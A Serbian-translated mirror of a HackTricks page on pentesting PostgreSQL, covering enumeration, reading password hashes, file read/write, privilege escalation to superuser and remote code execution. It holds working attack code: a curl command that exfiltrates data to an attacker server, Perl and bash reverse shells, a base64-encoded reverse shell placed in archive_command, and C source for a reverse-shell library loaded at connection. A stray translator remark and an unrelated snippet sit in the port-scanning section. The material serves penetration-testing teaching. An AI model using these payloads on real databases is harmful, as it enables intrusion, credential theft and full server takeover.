mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
779 lines
37 KiB
Markdown
779 lines
37 KiB
Markdown
# 5432,5433 - Pentesting Postgresql
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
|
Dobijte pristup danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
## **Osnovne informacije**
|
|
|
|
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije.
|
|
|
|
**Podrazumevani port:** 5432, a ako je ovaj port već zauzet, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet.
|
|
```
|
|
PORT STATE SERVICE
|
|
5432/tcp open pgsql
|
|
```
|
|
## Poveži se & Osnovno nabrajanje
|
|
```bash
|
|
psql -U <myuser> # Open psql console with user
|
|
psql -h <host> -U <username> -d <database> # Remote connection
|
|
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
|
|
```
|
|
|
|
```sql
|
|
psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
|
\list # List databases
|
|
\c <database> # use the database
|
|
\d # List tables
|
|
\du+ # Get users roles
|
|
|
|
# Get current user
|
|
SELECT user;
|
|
|
|
# Get current database
|
|
SELECT current_catalog;
|
|
|
|
# List schemas
|
|
SELECT schema_name,schema_owner FROM information_schema.schemata;
|
|
\dn+
|
|
|
|
#List databases
|
|
SELECT datname FROM pg_database;
|
|
|
|
#Read credentials (usernames + pwd hash)
|
|
SELECT usename, passwd from pg_shadow;
|
|
|
|
# Get languages
|
|
SELECT lanname,lanacl FROM pg_language;
|
|
|
|
# Show installed extensions
|
|
SHOW rds.extensions;
|
|
SELECT * FROM pg_extension;
|
|
|
|
# Get history of commands executed
|
|
\s
|
|
```
|
|
{% hint style="warning" %}
|
|
Ako prilikom pokretanja **`\list`** komande pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**.
|
|
{% endhint %}
|
|
|
|
Za više informacija o **zloupotrebi PostgreSQL baze podataka** pogledajte:
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
|
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
## Automatsko nabrajanje
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_version
|
|
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|
```
|
|
### [**Brutefors**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
|
|
|
### **Skeniranje portova**
|
|
|
|
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` uključujući objašnjenje greške. Primeri ovih detalja su navedeni ispod.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=1.2.3.4
|
|
port=5678
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
```
|
|
* Host je nedostupan
|
|
|
|
```DETAIL: nije moguće povezati se na server: Nema rute do hosta Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?```
|
|
|
|
* Port je zatvoren
|
|
```
|
|
DETAIL: could not connect to server: Connection refused Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
* Port je otvoren
|
|
```
|
|
DETAIL: server closed the connection unexpectedly This probably means
|
|
the server terminated abnormally before or while processing the request
|
|
```
|
|
Nema problema. Eno prevod:
|
|
|
|
```markdown
|
|
## Povezivanje na PostgreSQL bazu podataka
|
|
|
|
Da biste se povezali na PostgreSQL bazu podataka, možete koristiti alat kao što je `psql` ili bilo koji drugi alat za upravljanje bazama podataka koji podržava PostgreSQL. Evo primera kako se možete povezati na PostgreSQL bazu podataka korišćenjem `psql` alata:
|
|
|
|
```bash
|
|
psql -h <adresa_servera> -U <korisničko_ime> -d <ime_baze>
|
|
```
|
|
|
|
- `-h`: Server na koji se povezujete
|
|
- `-U`: Korisničko ime
|
|
- `-d`: Ime baze podataka
|
|
```
|
|
```
|
|
DETAIL: FATAL: password authentication failed for user "name"
|
|
```
|
|
* Port je otvoren ili filtriran
|
|
```
|
|
DETAIL: could not connect to server: Connection timed out Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti neophodne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabele nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je reč u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
|
|
|
|
## Enumeracija privilegija
|
|
|
|
### Uloge
|
|
|
|
| Vrste uloga | |
|
|
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
| rolsuper | Uloga ima privilegije superkorisnika |
|
|
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
|
|
| rolcreaterole | Uloga može kreirati dodatne uloge |
|
|
| rolcreatedb | Uloga može kreirati baze podataka |
|
|
| rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije |
|
|
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slote za replikaciju. |
|
|
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ovaj korisnik može napraviti. -1 znači bez ograničenja. |
|
|
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
|
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
|
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
|
|
| rolconfig | Podrazumevane vrednosti za ulogu za promenljive konfiguracije u toku izvršavanja |
|
|
| oid | ID uloge |
|
|
|
|
#### Interesantne grupe
|
|
|
|
* Ako ste član **`pg_execute_server_program`** možete **izvršavati** programe
|
|
* Ako ste član **`pg_read_server_files`** možete **čitati** fajlove
|
|
* Ako ste član **`pg_write_server_files`** možete **pisati** fajlove
|
|
|
|
{% hint style="info" %}
|
|
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isti**. To zavisi samo od toga **kako ga koristite** i da li mu dozvoljavate **prijavu**.
|
|
{% endhint %}
|
|
```sql
|
|
# Get users roles
|
|
\du
|
|
|
|
#Get users roles & groups
|
|
# r.rolpassword
|
|
# r.rolconfig,
|
|
SELECT
|
|
r.rolname,
|
|
r.rolsuper,
|
|
r.rolinherit,
|
|
r.rolcreaterole,
|
|
r.rolcreatedb,
|
|
r.rolcanlogin,
|
|
r.rolbypassrls,
|
|
r.rolconnlimit,
|
|
r.rolvaliduntil,
|
|
r.oid,
|
|
ARRAY(SELECT b.rolname
|
|
FROM pg_catalog.pg_auth_members m
|
|
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
|
WHERE m.member = r.oid) as memberof
|
|
, r.rolreplication
|
|
FROM pg_catalog.pg_roles r
|
|
ORDER BY 1;
|
|
|
|
# Check if current user is superiser
|
|
## If response is "on" then true, if "off" then false
|
|
SELECT current_setting('is_superuser');
|
|
|
|
# Try to grant access to groups
|
|
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
|
GRANT pg_execute_server_program TO "username";
|
|
GRANT pg_read_server_files TO "username";
|
|
GRANT pg_write_server_files TO "username";
|
|
## You will probably get this error:
|
|
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
|
|
|
# Create new role (user) as member of a role (group)
|
|
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|
## Common error
|
|
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
|
```
|
|
### Tabele
|
|
```sql
|
|
# Get owners of tables
|
|
select schemaname,tablename,tableowner from pg_tables;
|
|
## Get tables where user is owner
|
|
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
|
|
|
# Get your permissions over tables
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
|
|
|
#Check users privileges over a table (pg_shadow on this example)
|
|
## If nothing, you don't have any permission
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
|
```
|
|
### Funkcije
|
|
```sql
|
|
# Interesting functions are inside pg_catalog
|
|
\df * #Get all
|
|
\df *pg_ls* #Get by substring
|
|
\df+ pg_read_binary_file #Check who has access
|
|
|
|
# Get all functions of a schema
|
|
\df pg_catalog.*
|
|
|
|
# Get all functions of a schema (pg_catalog in this case)
|
|
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
|
FROM information_schema.routines
|
|
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
|
WHERE routines.specific_schema='pg_catalog'
|
|
ORDER BY routines.routine_name, parameters.ordinal_position;
|
|
|
|
# Another aparent option
|
|
SELECT * FROM pg_proc;
|
|
```
|
|
## Radnje sistema datoteka
|
|
|
|
### Čitanje direktorijuma i datoteka
|
|
|
|
Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (pozvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metod na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
|
|
```sql
|
|
# Read file
|
|
CREATE TABLE demo(t text);
|
|
COPY demo from '/etc/passwd';
|
|
SELECT * FROM demo;
|
|
```
|
|
{% hint style="warning" %}
|
|
Zapamtite da ako niste super korisnik, ali imate dozvole **CREATEROLE**, možete **postati član te grupe:**
|
|
```sql
|
|
GRANT pg_read_server_files TO username;
|
|
```
|
|
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** ih mogu koristiti:
|
|
```sql
|
|
# Before executing these function go to the postgres DB (not in the template1)
|
|
\c postgres
|
|
## If you don't do this, you might get "permission denied" error even if you have permission
|
|
|
|
select * from pg_ls_dir('/tmp');
|
|
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
|
select * from pg_read_binary_file('/etc/passwd');
|
|
|
|
# Check who has permissions
|
|
\df+ pg_ls_dir
|
|
\df+ pg_read_file
|
|
\df+ pg_read_binary_file
|
|
|
|
# Try to grant permissions
|
|
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
|
|
# By default you can only access files in the datadirectory
|
|
SHOW data_directory;
|
|
# But if you are a member of the group pg_read_server_files
|
|
# You can access any file, anywhere
|
|
GRANT pg_read_server_files TO username;
|
|
# Check CREATEROLE privilege escalation
|
|
```
|
|
Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
|
|
|
### Jednostavno pisanje datoteka
|
|
|
|
Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti kopiranje za pisanje datoteka.
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:**
|
|
```sql
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Zapamtite da **COPY ne može rukovati znakovima nove linije**, stoga čak i ako koristite base64 payload **morate poslati jednolinijski**.\
|
|
Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.**
|
|
|
|
### **Uploadovanje binarnih fajlova**
|
|
|
|
Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
|
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
|
|
|
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
### Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja fajlova
|
|
|
|
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvora** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
|
|
|
Potrebni koraci:
|
|
|
|
1. Dobijanje direktorijuma podataka PostgreSQL-a
|
|
|
|
```sql
|
|
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
|
```
|
|
|
|
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često ime klastera je `main`.
|
|
2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
|
|
|
|
```sql
|
|
SELECT pg_relation_filepath('{IME_TABELE}')
|
|
```
|
|
|
|
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$PUTANJA_PODATAKA/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
|
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
|
|
|
|
```sql
|
|
SELECT lo_import('{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}',13337)
|
|
```
|
|
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
|
|
|
|
```sql
|
|
SELECT
|
|
STRING_AGG(
|
|
CONCAT_WS(
|
|
',',
|
|
attname,
|
|
typname,
|
|
attlen,
|
|
attalign
|
|
),
|
|
';'
|
|
)
|
|
FROM pg_attribute
|
|
JOIN pg_type
|
|
ON pg_attribute.atttypid = pg_type.oid
|
|
JOIN pg_class
|
|
ON pg_attribute.attrelid = pg_class.oid
|
|
WHERE pg_class.relname = '{IME_TABELE}';
|
|
```
|
|
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvor](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
|
|
|
|
```bash
|
|
python3 postgresql_filenode_editor.py -f {FAJL_CVORA} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}
|
|
```
|
|
|
|
|
|
6. Ponovo otpremite uređeni fajl čvor putem funkcija `lo_*`, i prepisujte originalni fajl na disku
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
|
SELECT lo_export(13338,'{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}')
|
|
```
|
|
7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
|
```
|
|
8. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
|
|
|
|
Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeću sekciju**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
|
|
|
## RCE
|
|
|
|
### **RCE do programa**
|
|
|
|
Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom:
|
|
```sql
|
|
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
|
```
|
|
Primer za izvršenje:
|
|
```bash
|
|
#PoC
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
CREATE TABLE cmd_exec(cmd_output text);
|
|
COPY cmd_exec FROM PROGRAM 'id';
|
|
SELECT * FROM cmd_exec;
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
|
|
#Reverse shell
|
|
#Notice that in order to scape a single quote you need to put 2 single quotes
|
|
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
|
```
|
|
{% hint style="warning" %}
|
|
Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:**
|
|
```sql
|
|
GRANT pg_execute_server_program TO username;
|
|
```
|
|
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\
|
|
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo [funkcionalnost i neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
|
|
|
### RCE sa PostgreSQL jezicima
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
|
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE sa PostgreSQL ekstenzijama
|
|
|
|
Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**, možete pokušati da dobijete **RCE otpremajući postgresql ekstenziju i učitavajući je**.
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
|
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE sa konfiguracionom datotekom PostgreSQL-a
|
|
|
|
{% hint style="info" %}
|
|
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava
|
|
{% endhint %}
|
|
|
|
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
|
|
|
.png>)
|
|
|
|
#### **RCE sa ssl\_passphrase\_command**
|
|
|
|
Više informacija [o ovoj tehnici ovde](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
|
|
|
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
|
|
|
|
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka
|
|
* `ssl_passphrase_command = ''` Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će **izvršiti komandu naznačenu u ovom atributu**.
|
|
* `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen** komanda izvršena ako je ključ zaštićen lozinkom **će se izvršiti** kada se izvrši `pg_reload_conf()`.
|
|
|
|
Zatim, napadač će morati:
|
|
|
|
1. **Izvući privatni ključ** sa servera
|
|
2. **Šifrovati** preuzeti privatni ključ:
|
|
1. `rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
|
3. **Prepisati**
|
|
4. **Izvući** trenutnu postgresql **konfiguraciju**
|
|
5. **Prepisati** **konfiguraciju** sa navedenim atributima konfiguracije:
|
|
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
|
2. `ssl_passphrase_command_supports_reload = on`
|
|
6. Izvršiti `pg_reload_conf()`
|
|
|
|
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_.
|
|
|
|
#### **RCE sa archive\_command**
|
|
|
|
**Više** [**informacija o ovoj konfiguraciji i o WAL ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
|
|
|
Još jedan atribut u konfiguracionoj datoteci koji je iskorišćiv je `archive_command`.
|
|
|
|
Da bi ovo radilo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, tada bismo mogli prebrisati komandu u `archive_command` i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
|
|
|
|
Opšti koraci su:
|
|
|
|
1. Proveriti da li je režim arhiviranja omogućen: `SELECT current_setting('archive_mode')`
|
|
2. Prebrisati `archive_command` sa payload-om. Na primer, reverzna ljuska: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
|
3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()`
|
|
4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
|
|
|
#### **RCE sa bibliotekama učitavanja pre učitavanja**
|
|
|
|
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
|
|
|
Ovaj vektor napada koristi sledeće konfiguracione promenljive:
|
|
|
|
* `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera pri povezivanju klijenta.
|
|
* `dynamic_library_path` -- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.
|
|
|
|
Možemo postaviti vrednost `dynamic_library_path` na direktorijum koji je upisiv od strane `postgres` korisnika koji pokreće bazu podataka, na primer, `/tmp/` direktorijum, i otpremiti zlonamerni `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu `session_preload_libraries`.
|
|
|
|
Koraci napada su:
|
|
|
|
1. Preuzmite originalni `postgresql.conf`
|
|
2. Uključite `/tmp/` direktorijum u vrednost `dynamic_library_path`, na primer `dynamic_library_path = '/tmp:$libdir'`
|
|
3. Uključite ime zlonamerne biblioteke u vrednost `session_preload_libraries`, na primer `session_preload_libraries = 'payload.so'`
|
|
4. Proverite glavnu verziju PostgreSQL-a putem upita `SELECT version()`
|
|
5. Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom Primer koda:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include "postgres.h"
|
|
#include "fmgr.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
void _init() {
|
|
/*
|
|
kod preuzet sa https://www.revshells.com/
|
|
*/
|
|
|
|
int port = REVSHELL_PORT;
|
|
struct sockaddr_in revsockaddr;
|
|
|
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
revsockaddr.sin_family = AF_INET;
|
|
revsockaddr.sin_port = htons(port);
|
|
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
|
|
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
sizeof(revsockaddr));
|
|
dup2(sockt, 0);
|
|
dup2(sockt, 1);
|
|
dup2(sockt, 2);
|
|
|
|
char * const argv[] = {"/bin/bash", NULL};
|
|
execve("/bin/bash", argv, NULL);
|
|
}
|
|
```
|
|
|
|
Kompajliranje koda:
|
|
|
|
```bash
|
|
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
|
```
|
|
6. Otpremite zlonamerni `postgresql.conf`, kreiran u koracima 2-3, i prepišite originalni
|
|
7. Otpremite `payload.so` iz koraka 5 u `/tmp` direktorijum
|
|
8. Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem upita `SELECT pg_reload_conf()`
|
|
9. Prilikom sledeće DB konekcije, dobićete vezu za reverznu ljusku.
|
|
## **Postgres Privesc**
|
|
|
|
### CREATEROLE Privesc
|
|
|
|
#### **Grant**
|
|
|
|
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._
|
|
|
|
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam omogućava čitanje i pisanje fajlova i izvršavanje komandi:
|
|
```sql
|
|
# Access to execute commands
|
|
GRANT pg_execute_server_program TO username;
|
|
# Access to read files
|
|
GRANT pg_read_server_files TO username;
|
|
# Access to write files
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
#### Izmena lozinke
|
|
|
|
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**:
|
|
```sql
|
|
#Change password
|
|
ALTER USER user_name WITH PASSWORD 'new_password';
|
|
```
|
|
#### Privesc do SUPERUSER
|
|
|
|
Prilično je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
|
```sql
|
|
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
|
```
|
|
{% hint style="info" %}
|
|
Ovo je obično moguće zbog sledećih linija u fajlu **`pg_hba.conf`**:
|
|
```bash
|
|
# "local" is for Unix domain socket connections only
|
|
local all all trust
|
|
# IPv4 local connections:
|
|
host all all 127.0.0.1/32 trust
|
|
# IPv6 local connections:
|
|
host all all ::1/128 trust
|
|
```
|
|
{% endhint %}
|
|
|
|
### **ALTER TABLE privesc**
|
|
|
|
